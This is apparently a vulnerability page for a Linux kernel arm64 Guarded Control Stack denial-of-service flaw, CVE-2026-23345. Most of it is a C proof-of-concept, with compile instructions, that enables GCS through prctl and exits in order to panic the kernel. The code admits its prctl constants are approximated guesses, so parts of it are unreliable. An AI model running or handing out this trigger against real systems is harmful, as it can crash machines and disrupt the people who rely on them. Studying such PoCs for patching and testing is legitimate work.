Linux Kernel arm64 GCS映射拒绝服务漏洞

/* * PoC for CVE-2026-23345 (Linux Kernel arm64 GCS DoS) * This code attempts to enable GCS on a system with FEAT_LPA2 enabled, * triggering the kernel panic upon exit. * Compile: gcc -o poc_gcs poc_gcs.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/syscall.h> // Approximation of GCS related prctl options based on kernel feature #ifndef PR_SCHED_GCS #define PR_SCHED_GCS 63 #define PR_SCHED_GCS_ENABLE 1 #endif int main() { printf("[+] CVE-2026-23345 PoC Trigger\n"); printf("[+] Attempting to enable GCS feature...\n"); // Enable GCS for the current process // On a vulnerable kernel with LPA2, this sets up the faulty PTE bits long ret = prctl(PR_SCHED_GCS, PR_SCHED_GCS_ENABLE, 0, 0, 0); if (ret == 0) { printf("[+] GCS enabled successfully.\n"); } else { printf("[-] prctl failed (GCS might not be supported or already enabled). Error: %ld\n", ret); // Even if it fails here, running on a kernel where it is force-enabled via config could trigger it } printf("[+] Exiting process to trigger gcs_free path...\n"); // The crash occurs in gcs_free -> vm_munmap -> zap_huge_pmd return 0; }